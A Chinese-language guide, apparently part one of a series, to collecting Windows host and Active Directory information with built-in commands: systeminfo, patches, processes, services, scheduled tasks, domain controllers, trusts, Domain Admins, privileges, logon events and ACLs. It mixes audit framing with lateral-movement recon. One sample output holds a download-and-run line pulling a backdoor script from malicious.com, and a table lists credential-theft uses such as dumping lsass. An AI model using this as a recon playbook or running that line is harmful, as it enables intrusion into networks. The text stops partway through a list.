Windows环境下全面信息收集指南(第一部分:基础架构信息)
在运维排查、资产盘点或安全评估中,基础架构信息收集是构建“系统全景图”的第一步。通过精准命令获取系统配置、域结构、用户权限、网络拓扑及防火墙规则,既能快速定位问题根源,也能为后续敏感数据挖掘和风险评估提供关键依据。本文第一部分将详细拆解基础信息收集的核心维度,包含命令用途、参数解读、实战示例及信息价值分析,确保每一步操作都可落地、可验证。
引言:基础信息收集的核心目标与合规前提
基础信息收集的核心是回答“系统是什么、谁在用、如何连接”三个问题,具体目标包括:
- 确认系统版本、硬件配置、补丁状态(判断是否存在已知漏洞);
- 识别域环境结构(是否加入域、域控位置、域管理员列表);
- 梳理用户权限体系(当前用户角色、本地/域权限边界);
- 掌握网络连接状态(IP配置、路由路径、开放端口);
- 核查防火墙规则(入站/出站控制、日志配置)。
重要合规前提:所有操作必须在合法授权下执行,严禁对未授权系统实施信息收集,避免违反《网络安全法》《数据安全法》及企业内部规定。
第一章 系统基础信息收集(主机标识、版本与配置)
系统基础信息是了解目标主机的“第一印象”,包括主机名、系统版本、硬件配置、进程服务等,是后续操作的基础支撑。
1.1 主机标识与域成员判断
1.1.1 查看当前主机名(局域网“身份证”)
- 用途:获取主机的NetBIOS名称,用于识别局域网内主机身份(如DC01可能是域控,FIN-001可能是财务主机);
- 命令:
hostname - 实战示例输出:
DESKTOP-ABC123 # 格式通常包含用户自定义标识,如部门缩写、用途编号 - 信息价值:若主机名包含“DC”“SERVER”“DB”等关键词,可初步判断为主机角色(域控、服务器、数据库主机)。
1.1.2 查询域内所有计算机(AD环境专属)
- 用途:在域环境中,获取所有加入域的计算机列表(需域用户权限,非域环境执行会报错);
- 命令(需替换实际域名称,如test-domain.com):
dsquery computer -domain test-domain.com # -domain参数指定目标域,不指定则默认当前域 - 实战示例输出(LDAP路径格式,含组织单元信息):
"CN=DC01,OU=Domain Controllers,DC=test-domain,DC=com" # 域控制器(位于Domain Controllers OU) "CN=FIN-001,OU=Finance,DC=test-domain,DC=com" # 财务部门主机(位于Finance OU) "CN=IT-002,OU=IT,DC=test-domain,DC=com" # IT部门主机(位于IT OU) - 信息价值:通过
OU(组织单元)字段可梳理域内主机的部门归属,Domain ControllersOU下的主机直接定位为域控。
1.2 系统版本与硬件配置(漏洞判断依据)
1.2.1 查看系统完整配置(万能命令systeminfo)
- 用途:一次性获取系统版本、安装日期、硬件配置、补丁列表、环境变量等核心信息,运维排查首选;
- 命令(输出内容较长,建议重定向到文件便于分析):
systeminfo # 直接执行显示所有信息 systeminfo > C:\sysinfo_20240520.txt # 重定向到C盘根目录的文本文件 - 关键输出字段解读(截取核心信息):
OS 名称: Microsoft Windows 10 企业版 # 操作系统版本(判断是否为老旧系统如Win7) OS 版本: 10.0.19045 N/A Build 19045 # Build号对应更新版本(19045=Win10 22H2) 系统类型: x64-based PC # 架构(32位/64位,影响后续工具选择) 安装日期: 2023-10-01, 14:30:00 # 系统安装时间(判断是否为新部署主机) 系统制造商: Dell Inc. # 硬件厂商(戴尔、联想、华为等,关联硬件驱动适配) 系统型号: Latitude 7420 # 设备型号(笔记本/服务器,如PowerEdge为戴尔服务器) 处理器: 1 个处理器。[01]: Intel64 Family 6 Model 141 Stepping 1 GenuineIntel ~2801 MHz # CPU信息 内存(RAM): 16.0 GB # 内存大小(判断主机性能是否满足业务需求) 补丁(HotFix): 35 个已安装的 HotFix # 已安装补丁数量(判断漏洞修复完整性) - 实战技巧:通过筛选命令快速定位关键信息,例如:
systeminfo | findstr "OS 版本 系统类型 内存(RAM) 安装日期" # 仅显示版本、架构、内存、安装日期
1.2.2 查看系统版本(简化版ver命令)
- 用途:快速获取操作系统版本,无需等待systeminfo完整输出;
- 命令:
ver - 实战示例输出:
Microsoft Windows [版本 10.0.19045.3693] # 版本号对应Win10 22H2,3693为累计更新编号 - 版本对应表(常见版本参考):
版本号 操作系统版本 10.0.14393 Windows 10 1607 10.0.17763 Windows 10 1809 10.0.19045 Windows 10 22H2 10.0.22621 Windows 11 22H2
1.3 补丁安装状态(漏洞修复验证)
1.3.1 查看补丁列表(CSV格式,便于分析)
- 用途:获取已安装的Windows补丁(HotFix),包含补丁描述和安装日期,用于验证高危漏洞是否修复(如永恒之蓝MS17-010、Log4j相关补丁);
- 命令(wmic qfe模块,qfe=Quick Fix Engineering快速修复工程):
wmic qfe get description,installedOn /format:csv # 仅显示描述和安装日期,CSV格式便于Excel分析 - 实战示例输出(CSV格式,首行为表头):
"Description","InstalledOn" "Security Update for Microsoft Windows (KB5034441)","2024-05-10" # 安全补丁,KB号唯一标识 "Update for Microsoft Windows (KB5033920)","2024-05-05" # 功能更新补丁(非安全类) "Security Update for Microsoft .NET Framework 3.5.1 (KB5032938)","2024-04-12" # .NET框架补丁 - 信息价值:通过KB号在微软官网(https://support.microsoft.com/)查询补丁修复的漏洞,例如KB5034441修复了Windows内核权限提升漏洞(CVE-2024-21303),若未安装则存在风险。
1.3.2 查看补丁详细信息(含补丁编号HotFixID)
- 用途:获取补丁的完整信息(补丁名称、描述、KB号、安装日期),比简化版更全面;
- 命令:
wmic qfe get Caption,Description,HotFixID,InstalledOn # Caption=补丁名称,HotFixID=KB号 - 实战示例输出(表格格式,字段对齐):
Caption Description HotFixID InstalledOn Security Update for Microsoft Windows Security Update KB5034441 2024-05-10 Update for Microsoft Windows Update KB5033920 2024-05-05 Security Update for Microsoft .NET Framework 3.5.1 Security Update KB5032938 2024-04-12
1.4 进程与服务信息(异常程序排查)
进程是当前运行的程序,服务是后台长期运行的进程,二者是排查“恶意程序”(如木马、挖矿进程)和“异常服务”(如未授权启动的服务)的关键。
1.4.1 查看进程及关联服务(tasklist /svc)
- 用途:获取所有进程的名称、PID(进程ID)及关联的系统服务,定位“进程-服务”对应关系(如svchost.exe对应多个系统服务);
- 命令(/svc参数显示进程关联的服务):
tasklist /svc - 实战示例输出(截取关键行,按PID排序):
Image Name PID Services ========================== ====== ============================================ System Idle Process 0 N/A # 系统空闲进程,PID固定为0,CPU占用率反应该进程(空闲越高CPU越闲) System 4 N/A # 系统核心进程,管理硬件中断 svchost.exe 980 Dnscache, LmHosts, Netman, NlaSvc # 一个svchost对应多个服务(DNS缓存、网络连接等) powershell.exe 5678 N/A # 正在运行的PowerShell进程(需确认是否为合法操作) AliYunDun.exe 1234 AliYunDunService # 阿里云监控Agent进程(企业常见运维工具) winlogon.exe 890 N/A # Windows登录进程(异常终止会导致注销) - 异常排查要点:
- 若
svchost.exe的PID占用CPU/内存过高(如持续50%以上),可能存在服务异常(如病毒注入); - 未知进程(如
xyz.exe)需通过PID进一步定位路径(见1.4.2),判断是否为恶意程序; - 敏感进程(如
powershell.exe、cmd.exe)若在非工作时间运行,需核查启动来源。
- 若
1.4.2 查看进程详细路径与命令行(wmic process)
- 用途:获取进程的完整路径(如
C:\Windows\System32\cmd.exe)和启动命令行(如是否带恶意参数),比tasklist更深入,可定位恶意程序的安装目录; - 命令(PowerShell/CMD均可执行,CSV格式便于分析):
wmic process get caption,executablepath,commandline /format:csv # caption=进程名,executablepath=路径,commandline=启动命令 - 实战示例输出(CSV格式,关键行截取):
"Caption","ExecutablePath","CommandLine" "powershell.exe","C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe","powershell -c Invoke-WebRequest http://malicious.com/backdoor.ps1 -OutFile C:\temp\bd.ps1; .\bd.ps1" # 恶意命令行(下载后门脚本并执行) "cmd.exe","C:\Windows\System32\cmd.exe","cmd /c taskkill /f /im notepad.exe" # 合法命令(强制关闭记事本) "chrome.exe","C:\Program Files\Google\Chrome\Application\chrome.exe","C:\Program Files\Google\Chrome\Application\chrome.exe --profile-directory=Default" # 浏览器进程(正常路径) - 风险判断:若
CommandLine包含以下内容,需立即排查是否为恶意操作:Invoke-WebRequest/iwr下载未知脚本;mshta.exe/cscript.exe执行hta/vbs脚本;reg add修改注册表关键项(如禁用防火墙);- 路径包含
C:\Users\Public\、C:\Temp\等非标准安装目录的进程。
1.4.3 查看系统服务状态(两种核心方式)
服务分为“系统服务”(如Windows Update)和“第三方服务”(如阿里云Agent),异常服务可能导致系统不稳定或安全风险。
方式1:sc query(简洁版,查看服务状态)
- 用途:快速查看所有服务的名称、类型、状态,或指定单个服务的详细信息;
- 命令(查看所有服务/指定服务):
sc query # 查看所有服务的简要状态 sc query "wuauserv" # 查看Windows Update服务(服务名wuauserv)的详细信息 - 实战示例输出(单个服务详细信息):
SERVICE_NAME: wuauserv # 服务名(唯一标识,用于命令操作) TYPE : 20 WIN32_SHARE_PROCESS # 服务类型:共享进程(多个服务共用一个进程) STATE : 4 RUNNING # 服务状态:4=运行中,1=停止,2=暂停 WIN32_EXIT_CODE : 0 (0x0) # 退出码:0=正常,非0=异常 SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0 - 状态码说明:
STATE值 状态描述 含义 1 STOPPED 服务已停止 2 START_PENDING 服务正在启动中 3 STOP_PENDING 服务正在停止中 4 RUNNING 服务正在运行 5 CONTINUE_PENDING 服务正在恢复运行 6 PAUSE_PENDING 服务正在暂停中 7 PAUSED 服务已暂停
方式2:wmic service(详细版,含服务路径)
- 用途:获取服务的完整启动路径、启动账户、描述等信息,排查服务是否被篡改(如路径指向恶意程序);
- 命令(PowerShell执行,筛选启动路径):
Get-WmiObject win32_service | Select-Object Name, DisplayName, PathName, StartName # Name=服务名,DisplayName=显示名,PathName=启动路径,StartName=启动账户 - 实战示例输出(表格格式,关键行):
Name DisplayName PathName StartName ---- ----------- -------- --------- wuauserv Windows Update "C:\Windows\system32\svchost.exe" -k netsvcs LocalSystem # 系统服务,启动账户为本地系统(高权限) AliYunDunService 阿里云盾服务 "C:\Program Files\AliYunDun\AliYunDun.exe" LocalSystem # 第三方运维服务 MalService 恶意服务(示例) "C:\Temp\mal.exe" NetworkService # 异常服务:路径在Temp目录,需立即删除 - 异常服务排查点:
PathName包含非标准路径(如C:\Temp\、C:\Users\Public\);DisplayName模糊(如“系统服务”“更新服务”无具体标识);StartName为NetworkService/LocalService却启动高权限进程(如修改系统文件)。
1.5 环境变量与计划任务(系统配置梳理)
1.5.1 查看所有环境变量(程序运行依赖)
环境变量是系统或用户定义的“参数”,包括系统级(如PATH程序搜索路径)和用户级(如USERPROFILE用户主目录),异常变量可能导致程序运行异常或安全风险。
- 命令:
set # 显示当前用户的所有环境变量(包括系统变量和用户变量) - 关键输出字段解读:
PATH=C:\Windows\system32;C:\Program Files\Python39\Scripts\;C:\Temp\; # 程序搜索路径:系统优先搜索此路径下的可执行文件,若包含C:\Temp\可能被恶意利用(放置恶意exe) USERPROFILE=C:\Users\ZhangSan # 当前用户的主目录(桌面、文档等默认存储路径) TEMP=C:\Users\ZHANGS~1\AppData\Local\Temp # 临时文件目录(常残留敏感数据,如日志、缓存) SYSTEMROOT=C:\Windows # Windows系统目录(核心文件存放路径) HOMEPATH=\Users\ZhangSan # 用户主目录的相对路径 - 风险排查:若
PATH变量包含C:\Temp\、C:\Users\Public\等可写目录(普通用户可修改),可能存在“路径劫持”风险(恶意程序替换系统命令,如将cmd.exe放入C:\Temp\,优先于系统目录执行)。
1.5.2 查看所有计划任务(定时执行程序)
计划任务是“按时间/事件触发的程序”,可能包含合法运维任务(如定时备份)或恶意任务(如定时启动后门、清理日志),是信息收集的重要环节。
- 命令(/QUERY查询,/fo LIST列表格式,/v详细信息):
schtasks /QUERY /fo LIST /v # 输出所有计划任务的详细信息(触发时间、执行命令、运行账户等) - 实战示例输出(关键字段截取,单个任务):
TaskName: \Microsoft\Windows\WindowsUpdate\Scheduled Start # 任务名称(系统更新任务) Status: Ready # 任务状态:Ready=就绪,Running=运行中,Disabled=已禁用 Logon Mode: Interactive/Background # 登录模式:交互式/后台 Last Run Time: 2024-05-20 03:00:00 # 上次运行时间 Next Run Time: 2024-05-21 03:00:00 # 下次运行时间 Author: NT AUTHORITY\SYSTEM # 任务创建者(系统账户,合法) Description: Schedules the start of Windows Update scans # 任务描述(系统更新扫描) Action: "C:\Windows\system32\wuauclt.exe" /updatenow # 执行的命令(Windows Update强制更新) Run As User: NT AUTHORITY\SYSTEM # 运行账户(系统高权限) - 异常任务排查点:
Author为普通用户(非系统账户)却创建高权限任务(如修改系统文件);Action包含未知命令(如C:\Temp\backdoor.exe、powershell -c Invoke-WebRequest);Next Run Time为凌晨(非工作时间)且无合理描述;TaskName模糊(如“System Task”“Update Task”无具体标识)。
- 实战筛选技巧:通过findstr筛选关键信息,例如:
schtasks /QUERY /fo LIST /v | findstr "TaskName Action Next Run Time" # 仅显示任务名、执行命令、下次运行时间
1.6 磁盘与软件安装信息(资产盘点)
1.6.1 查看逻辑磁盘(分区结构)
- 用途:获取主机的磁盘分区(如C盘系统分区、D盘数据分区、网络映射盘),了解存储结构;
- 命令:
wmic logicaldisk get caption,description,drivetype # caption=盘符,description=磁盘类型,drivetype=驱动类型(3=本地磁盘,4=网络映射盘) - 实战示例输出:
Caption Description DriveType C: 本地固定磁盘 3 # 本地系统分区 D: 本地固定磁盘 3 # 本地数据分区 Z: 网络连接 4 # 网络映射盘(如映射到文件服务器\\FS01\share) - 信息价值:网络映射盘(DriveType=4)可能指向域内文件服务器,可进一步访问共享目录获取敏感数据(如部门文档、备份文件)。
1.6.2 查看已安装软件(资产清单)
- 用途:梳理主机上的软件资产,判断是否存在老旧软件(如Office 2010、Java 8u20)或未授权软件(如盗版工具),同时识别运维工具(如Zabbix Agent、Navicat);
- 命令(wmic product模块,获取软件名和版本):
wmic product get name,version # name=软件名,version=版本号 - 实战示例输出(表格格式):
Name Version Microsoft Office Professional Plus 2019 16.0.10398.20038 # 办公软件(2019版,较新,漏洞较少) 7-Zip 22.01 (x64) 22.01.00.0 # 压缩工具(常用合法软件) Google Chrome 124.0.6367.155 # 浏览器(需确认是否为最新版本,修复已知漏洞) Navicat Premium 15 15.0.28 # 数据库管理工具(可能连接域内数据库,需关注) Java 8 Update 101 8.0.1010.13 # Java环境(老旧版本,存在多个高危漏洞如CVE-2017-10271) - 风险判断:
- 软件版本低于官方最新版(如Chrome 120以下、Java 8u300以下),可能存在未修复漏洞;
- 数据库管理工具(Navicat、PL/SQL Developer)可能保存数据库连接信息(账号密码),需进一步排查配置文件;
- 未知软件(如“XYZ Tool”无具体描述)可能为恶意工具(如密码破解、端口扫描工具)。
第二章 域环境信息收集(企业级核心)
若主机加入域(企业环境常见场景),域信息收集是重中之重——域控、域管理员、域信任关系直接决定了企业内网的权限边界。本节仅覆盖域基础信息,域敏感数据(如域管理员密码、Kerberos票据)将在第二部分展开。
2.1 域基础判断(是否加入域、域名称)
2.1.1 查看当前域/工作组(net config Workstation)
- 用途:快速判断主机是否加入域(企业环境)或处于工作组(个人/小型网络),同时获取当前登录用户、完整域名等信息;
- 命令:
net config Workstation # Workstation指工作站服务,输出工作站配置信息 - 实战示例输出(域环境):
计算机名 : DESKTOP-ABC123 # 主机名 全名 : DESKTOP-ABC123.test-domain.com # 完整域名(FQDN),含域后缀test-domain.com 用户名 : test-domain\ZhangSan # 当前登录用户(域用户格式:域名称\用户名) 工作站域 : TEST-DOMAIN # 域名称(大写,与FQDN的前缀一致) 登录域 : TEST-DOMAIN 域控制器 : \\DC01.test-domain.com # 当前连接的域控(直接定位域控) 工作站域DNS 名称 : test-domain.com # 域的DNS后缀 - 实战示例输出(工作组环境):
计算机名 : DESKTOP-XYZ789 全名 : DESKTOP-XYZ789 用户名 : DESKTOP-XYZ789\LiSi # 本地用户格式:主机名\用户名 工作站域 : WORKGROUP # 默认工作组名称,非域环境 登录域 : DESKTOP-XYZ789 域控制器 : \\DESKTOP-XYZ789 # 无域控,指向自身 - 核心判断依据:
- 域环境:
工作站域为自定义名称(如TEST-DOMAIN),用户名格式为域名称\用户名,域控制器指向专用主机(如DC01); - 工作组环境:
工作站域为WORKGROUP,用户名格式为主机名\用户名,域控制器指向自身。
- 域环境:
2.1.2 查看局域网内所有可用域(net view /domain)
- 用途:在域环境中,查看当前局域网内所有可见的域(可能存在多个域,如生产域PROD-DOMAIN、开发域DEV-DOMAIN);
- 命令:
net view /domain # /domain参数列出所有可见域 - 实战示例输出:
Domain(s) on network: TEST-DOMAIN # 生产域(当前主机加入的域) DEV-DOMAIN # 开发域(可能存在权限隔离,需后续评估信任关系) HR-DOMAIN # 人事域(敏感数据集中,如员工信息) - 信息价值:多域环境通常存在“域信任关系”(如生产域信任开发域),后续可通过
nltest /domain_trusts查询信任关系,判断是否可跨域访问。
2.2 域控定位与域信任关系(核心目标)
域控制器(DC)是域环境的“核心大脑”,存储所有域用户、计算机、权限配置,定位域控是域内信息收集的关键第一步。
2.2.1 定位域控制器(三种核心方法)
方法1:通过时间同步定位(最常用)
- 原理:域内所有计算机默认同步域控的时间(避免 Kerberos 票据时间戳错误),
net time /domain命令会显示同步的域控名称; - 命令:
net time /domain # /domain参数指定同步域时间,输出包含域控信息 - 实战示例输出(域控在线):
当前时间在 \\DC01.test-domain.com 是 2024-05-20 15:30:00 # \\DC01.test-domain.com 即为域控的FQDN 请键入 NET HELPMSG 3912 以获得更多的帮助。 - 实战示例输出(域控离线):
找不到域 TEST-DOMAIN 的域控制器。 请键入 NET HELPMSG 3906 以获得更多的帮助。 - 优势:无需额外工具,CMD直接执行,适用于所有域环境。
方法2:通过nltest查询域控列表(详细)
- 用途:查询指定域的所有域控(含IP地址、站点信息),适用于多域控环境(如主域控DC01、备用域控DC02);
- 命令(需替换实际域名称test-domain.com):
nltest /dclist:test-domain.com # /dclist:指定目标域,输出所有域控 - 实战示例输出:
DC: \\DC01.test-domain.com # 主域控 Address: \\192.168.1.10 # 域控IP地址(关键,后续可访问该IP的共享目录、LDAP服务) Dom Guid: 12345678-1234-1234-1234-1234567890AB # 域的唯一GUID Dom Name: test-domain.com # 域名称 Forest Name: test-domain.com # 林名称(单林环境与域名称一致) DC Site Name: Default-First-Site-Name # 域控所在站点(默认站点,大型企业可能分多个站点) DC: \\DC02.test-domain.com # 备用域控 Address: \\192.168.1.11 # 备用域控IP地址 Dom Guid: 12345678-1234-1234-1234-1234567890AB Dom Name: test-domain.com Forest Name: test-domain.com DC Site Name: Default-First-Site-Name - 信息价值:获取域控IP后,可进一步访问域控的共享目录(如
\\192.168.1.10\SYSVOL、\\192.168.1.10\NETLOGON),这些目录存储域组策略、登录脚本等敏感信息。
方法3:通过PowerShell查询域控(AD模块)
- 前提:需安装Active Directory模块(域控或安装RSAT工具的域内主机);
- 命令:
Get-NetDomainController # 直接获取当前域的域控信息(PowerView模块命令,需导入PowerView.ps1) # 或使用原生AD模块命令: Get-ADDomainController -Filter * # 列出所有域控 - 实战示例输出(PowerView模块):
DomainControllerName : DC01.test-domain.com DomainName : test-domain.com IPAddress : 192.168.1.10 SiteName : Default-First-Site-Name OperatingSystem : Windows Server 2022 Standard
2.2.2 查看域信任关系(跨域访问依据)
- 原理:域信任是域之间的“权限互通协议”(如A域信任B域,则B域用户可访问A域的授权资源),是跨域渗透的关键;
- 命令:
nltest /domain_trusts # 查看当前域的所有信任关系(入站/出站、可传递/不可传递) - 实战示例输出:
Trusted Domains List: DEV-DOMAIN.com (Direct Outbound Trust) # 直接外向信任:当前域(TEST-DOMAIN)信任DEV-DOMAIN,DEV域用户可访问当前域资源 PROD-DOMAIN.com (Direct Inbound Trust) # 直接内向信任:PROD-DOMAIN信任当前域,当前域用户可访问PROD域资源 Trust Flags: 0x5 (TRANITIVE, UPLEVEL) # 信任标志:TRANITIVE(可传递,如A信任B,B信任C,则A信任C)、UPLEVEL(高版本域,支持Kerberos) - 信任类型解读:
信任方向 含义 外向信任(Outbound) 当前域信任其他域,其他域用户可访问当前域资源 内向信任(Inbound) 其他域信任当前域,当前域用户可访问其他域资源 可传递(Transitive) 信任关系可传递(如A→B,B→C,则A→C),扩大权限范围 不可传递(Non-Transitive) 信任关系仅存在于两个域之间,不可传递(权限范围可控,安全性较高) - 信息价值:若当前域存在“内向信任”(如PROD-DOMAIN信任当前域),则获取当前域的高权限后,可进一步渗透到PROD-DOMAIN(生产域,通常存储核心业务数据)。
2.3 域用户与域管理员信息(权限边界)
2.3.1 查询域内所有用户(dsquery user)
- 用途:获取域内所有用户的LDAP路径(含用户所在组织单元),梳理域用户清单;
- 命令(需域用户权限,替换实际域名称):
dsquery user -domain test-domain.com # -domain指定域,不指定则默认当前域 - 实战示例输出(LDAP路径格式,含OU信息):
"CN=ZhangSan,CN=Users,DC=test-domain,DC=com" # 普通用户(位于默认Users OU) "CN=LiSi,OU=IT,DC=test-domain,DC=com" # IT部门用户(位于IT OU) "CN=WangWu,OU=Finance,DC=test-domain,DC=com" # 财务部门用户(位于Finance OU) "CN=Admin,CN=Users,DC=test-domain,DC=com" # 疑似域管理员用户(用户名含Admin) - 信息价值:通过
OU字段可划分用户的部门归属,重点关注IT、Finance、Management等敏感部门的用户,这些用户可能拥有更高权限。
2.3.2 查询域管理员组(Domain Admins)成员
- 用途:域管理员组(Domain Admins)是域内最高权限组,成员拥有对所有域内主机的完全控制权限(如远程登录、修改权限、安装软件),是信息收集的核心目标;
- 命令(/domain参数指定域,需域用户权限):
net group "Domain Admins" /domain # "Domain Admins"是固定组名,区分大小写 - 实战示例输出:
组名 Domain Admins 注释 指定域的管理员 成员 ---------------------------------------------------------- Admin LiSi ZhangSan # 这三个用户是域管理员 命令成功完成。 - 风险提示:
- 若普通用户(如ZhangSan,非IT部门)被加入Domain Admins组,属于权限滥用,存在严重安全风险;
- 域管理员用户的密码通常强度较高,但可能在其他系统中复用(如邮件、OA系统),需后续排查密码复用风险。
2.3.3 查询域内其他关键组(如企业管理员组)
- 企业管理员组(Enterprise Admins):仅存在于多域林环境,成员拥有对整个林的最高权限;
- 命令:
net group "Enterprise Admins" /domain
- 命令:
- 域控制器组(Domain Controllers):包含所有域控计算机账户;
- 命令:
net group "Domain Controllers" /domain
- 命令:
- 远程桌面用户组(Remote Desktop Users):成员可通过RDP远程登录域内主机;
- 命令:
net group "Remote Desktop Users" /domain
- 命令:
第三章 用户与权限信息收集(当前用户角色)
3.1 本地用户与权限(主机级权限)
3.1.1 查看本地用户列表(net user)
- 用途:获取当前主机的本地用户(非域用户),了解主机的本地权限体系;
- 命令:
net user - 实战示例输出:
用户账户 for \\DESKTOP-ABC123 ------------------------------------------------------------------------------- Administrator Guest LocalUser # Administrator=默认本地管理员,Guest=默认来宾账户(通常禁用),LocalUser=自定义本地用户 命令成功完成。 - 补充命令:查看单个本地用户的详细信息(如密码过期时间、所属组):
net user Administrator # 查看本地管理员账户的详细信息 - 示例输出(单个用户):
用户名称 Administrator 全名 管理员 注释 内置账户,管理员对计算机/域有不受限制的完全访问权 用户的注释 国家/地区代码 000 (系统默认) 账户启用 Yes # 账户是否启用(Yes=启用,No=禁用) 账户到期 从不 密码到期 从不 # 密码是否过期(若为“从不”,需确认是否符合密码策略) 密码可更改 Yes 需要密码 Yes 用户可以更改密码 Yes 所属的本地组 *Administrators # 属于本地管理员组(高权限)
3.1.2 查看当前用户权限(whoami系列命令)
whoami系列命令是查看当前用户身份、权限的核心工具,包含三个常用参数:whoami(基本身份)、whoami /priv(权限列表)、whoami /all(完整信息)。
1. whoami:显示当前用户名
- 命令:
whoami - 实战示例输出(域用户):
test-domain\ZhangSan - 实战示例输出(本地用户):
desktop-abc123\localuser - 解读:格式为“域/主机名\用户名”,直接判断当前用户是域用户还是本地用户。
2. whoami /priv:显示当前用户的权限
- 用途:查看当前用户拥有的系统权限(如调试程序、备份文件、取得所有权),高危权限可能导致权限提升;
- 命令:
whoami /priv - 实战示例输出(关键权限截取):
特权名 描述 状态 ================================= ======= ===== SeDebugPrivilege 调试程序 已启用 # 高危权限:可调试系统进程,获取敏感数据或提升权限 SeBackupPrivilege 备份文件和目录 已禁用 # 高危权限:可备份任意文件(包括SAM数据库、敏感文档) SeRestorePrivilege 还原文件和目录 已禁用 # 高危权限:可还原文件到任意位置,覆盖系统文件 SeTakeOwnershipPrivilege 取得文件或其他对象的所有权 已禁用 # 高危权限:可修改任意文件的所有者,获取访问权限 SeShutdownPrivilege 关闭系统 已启用 # 普通权限:关闭当前主机 - 高危权限解读(需重点关注):
权限名称 风险等级 可能的恶意用途 SeDebugPrivilege 极高 调试lsass.exe进程(存储用户凭据),获取明文密码;注入代码到高权限进程提升权限 SeBackupPrivilege 极高 备份SAM数据库(C:\Windows\System32\config\SAM),破解本地用户密码;备份敏感文档 SeRestorePrivilege 极高 还原恶意文件到系统目录(如替换cmd.exe为后门程序);修改系统配置文件 SeTakeOwnershipPrivilege 高 修改管理员权限的文件所有者为当前用户,获取文件访问权(如查看管理员的文档)
3. whoami /all:显示完整用户信息
- 用途:包含当前用户的身份、所属组、SID(安全标识符)、所有权限,是权限排查的全面工具;
- 命令:
whoami /all - 核心输出字段:
USER INFORMATION:当前用户的名称、SID;GROUP INFORMATION:当前用户所属的本地组和域组(如Administrators、Domain Users);PRIVILEGES INFORMATION:所有权限列表(同whoami /priv);IMPERSonation INFORMATION:模拟权限(是否允许模拟其他用户)。
3.1.3 查看本地管理员组成员(net localgroup administrators)
- 用途:判断当前用户是否属于本地管理员组,或普通用户是否被误加入管理员组(权限滥用);
- 命令:
net localgroup administrators - 实战示例输出:
别名 administrators 注释 管理员对计算机/域有不受限制的完全访问权 成员 ---------------------------------------------------------- Administrator # 本地管理员账户 test-domain\ZhangSan # 域用户ZhangSan被加入本地管理员组(权限滥用,需核查原因) - 信息价值:若域用户(如ZhangSan)被加入本地管理员组,该用户可在当前主机执行高权限操作(如安装软件、修改注册表、访问其他用户目录),需评估是否符合企业权限策略。
3.2 在线用户与登录记录(活动状态)
3.2.1 查看当前在线用户(远程/本地登录)
- 用途:了解当前主机的活跃用户(本地登录或远程RDP登录),避免在用户操作时执行敏感操作(如重启服务、修改配置);
- 命令1:quser(简洁版,Windows 7及以上支持)
quser- 实战示例输出:
ZhangSan console 1 Active none 2024-05-20 09:00 # console=本地登录,Active=活跃,none=无空闲(正在操作)
LiSi rdp-tcp#0 2 Active 10m 2024-05-20 14:00 # rdp-tcp#0=远程RDP登录,10m=空闲10分钟
WangWu rdp-tcp#1 3 Disconnected 2h 2024-05-20 12:00 # Disconnected=会话断开但未注销 - 实战示例输出:
- 命令2:query user(兼容性更广,支持Windows XP及以上)
query user- 输出格式与
quser一致,仅字段名称略有差异(如SESSIONNAME改为SESSIONNAME)。
- 输出格式与
- 关键字段解读:
字段 含义 SESSIONNAME 会话类型:console=本地登录,rdp-tcp#N=远程RDP登录,services=服务会话(无用户交互) ID 会话ID(用于注销会话:logoff 3,注销ID为3的会话) STATE 会话状态:Active=活跃,Disconnected=断开,Connected=已连接未活跃 IDLE TIME 空闲时间:none=无空闲,10m=10分钟,2h=2小时 LOGON TIME 登录时间(判断用户登录时长)
3.2.2 查看登录历史记录(事件日志)
- 用途:通过Windows事件日志查看主机的登录记录(成功/失败),排查是否存在暴力破解、未授权登录;
- 前提:需管理员权限,事件日志存储在
C:\Windows\System32\winevt\Logs\Security.evtx; - 命令(wevtutil工具):
wevtutil qe Security /q:"*[System[(EventID=4625 or EventID=4624)]]" /c:10 /f:text # 查看最近10条登录成功(4624)和失败(4625)事件 - 事件ID说明:
EventID 事件描述 用途 4624 账户登录成功 查看合法登录记录(用户、时间、登录类型) 4625 账户登录失败 排查暴力破解(如多次失败登录,IP地址是否为外部地址) 4634 账户注销 查看用户注销时间 4672 授予特殊权限 查看高权限操作(如管理员登录后授予的权限) - 实战示例输出(4624事件,登录成功):
事件[4]: 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2024-05-20T14:00:00.000000000Z 事件ID: 4624 任务类别: 登录 级别: 信息 关键字: 审核成功 用户: 暂缺 计算机: DESKTOP-ABC123.test-domain.com 描述: 账户已成功登录。 账户名称: LiSi 账户域: TEST-DOMAIN 登录ID: 0x123456 登录类型: 10 # 10=远程交互式登录(RDP),2=本地交互式登录,5=服务登录 客户端地址: 192.168.1.200 # 远程登录的IP地址(若为外部IP,需警惕) 客户端端口: 51234 # 远程登录的端口
3.3 文件/文件夹ACL(访问控制列表)
- 用途:ACL(Access Control List)定义了用户/组对文件/文件夹的访问权限(如读取、写入、修改、完全控制),查看ACL可判断是否存在权限漏洞(如“Everyone可读写”“普通用户可修改系统文件”);
- PowerShell命令(Get-Acl获取ACL,Format-List显示详细格式):
Get-Acl C:\Windows\System32\cmd.exe | Format-List # 查看cmd.exe的ACL(系统核心文件,权限应严格控制) Get-Acl C:\Users\Public\Documents | Format-List # 查看公共文档目录的ACL(普通用户可能有写入权限) - 实战示例输出(cmd.exe的ACL):
Path : Microsoft.PowerShell.Core\FileSystem::C:\Windows\System32\cmd.exe Owner : NT AUTHORITY\SYSTEM # 文件所有者(系统账户,最高权限) Access : NT AUTHORITY\SYSTEM Allow FullControl # 系统账户拥有完全控制权限(正常) BUILTIN\Administrators Allow FullControl # 本地管理员组拥有完全控制权限(正常) BUILTIN\Users Allow ReadAndExecute, Synchronize # 普通用户仅拥有读取和执行权限(正常) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize # UWP应用权限(正常) - 实战示例输出(存在漏洞的ACL,公共目录):
Path : Microsoft.PowerShell.Core\FileSystem::C:\Users\Public\Documents Owner : BUILTIN\Administrators Access : Everyone Allow FullControl # 漏洞:所有用户(包括来宾账户)拥有完全控制权限,可上传恶意文件 BUILTIN\Users Allow FullControl - 权限漏洞判断标准:
- 系统核心文件(如
C:\Windows\System32\*.exe)的ACL若包含Users Allow Write(普通用户可写入),存在替换系统文件的风险; - 敏感目录(如
C:\Users\Administrator\Documents)的ACL若包含Everyone Allow Read(所有人可读取),可能泄露管理员的敏感文档; - 公共目录(如
